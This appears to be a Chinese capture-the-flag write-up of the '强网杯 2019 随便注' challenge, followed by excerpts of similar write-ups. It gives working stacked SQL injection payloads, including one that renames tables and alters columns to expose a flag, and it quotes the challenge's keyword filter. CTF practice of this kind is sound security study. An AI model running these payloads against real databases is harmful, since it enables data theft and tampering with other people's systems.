知識點:堆疊注入。用簡單的話來說就是在sql語句中分號(;)標誌著一句話的結束,如果在乙個sql語句後新增分號(;)並構造乙個新的sql語句,那麼之前的sql語句和自己所構造的sql語句都會執行,因此造成了sql注入。這種注入方法叫堆疊注入。
進入題目,看到輸入框,嘗試sql字元型注入1' or '1'='1,發現存在注入
發現存在字元型注入後用1'or '1' = '1' order by 1#等語句判斷字段數,得出欄位數為2
使用union select進行聯合查詢確定顯示的字段順序,發現select等字元被過濾
過濾了select,看來想使用聯合注入注出資料是不可能的了,於是試試堆疊注入。使用1';show databases;#爆出資料庫。
使用1';show tables;#爆出表
使用1';show columns from words;#查詢words表中所有字段
使用1';show columns from `1919810931114514`;# 查詢1919810931114514表中所有字段,發現flag欄位,看來flag就在這個字段裡面了。
通過第一步的注入發現預設查詢的表是words表,在這題中沒有禁用rename。所以我們可以採用修改表名的方法將含有flag的表改為預設查詢表,再通過字元型注入注出含有flag表的全部內容得到flag。因此我們將words表名改為word,數字表名改為words,這樣預設查詢的表就是含有flag的表,但是該錶沒有id列,於是我們將flag欄位改為id,即1';rename tables `words` to `word`;rename tables `1919810931114514` to `words`; alter table `words` change `flag` `id` varchar(100);#
最後使用1' or 1=1 #得到flag
BUUCTF 強網杯 2019 隨便注
0x00 寫在前面 這道題目讓我在mysql語法上學到不少東西 還有騷思路,確實打ctf需要腦子反應快,騷主意多 0x01 解題思路 開啟題目很簡單的乙個查詢框 輸入1 報錯 1 不報錯 1 order by 2 欄位兩個 然後union select查詢時報錯如下 顯而易見,做了過濾。是preg ...
強網杯 2019 隨便注
1 or 1 1 回顯了所有使用者資訊 union select 1,2 得到回顯 return preg match select update delete drop insert where i inject 過濾了 select update delete drop insert where...
強網杯 2019 隨便注
知識點 原理參考堆疊注入詳解 開啟題目,如圖所示 嘗試 1 union select 1,2 發現select被禁 嘗試堆疊注入 查庫 查表 查1919810931114514表的列名 1 show columns from 1919810931114514 這裡表名使用反引號進行包含 應該就是從1...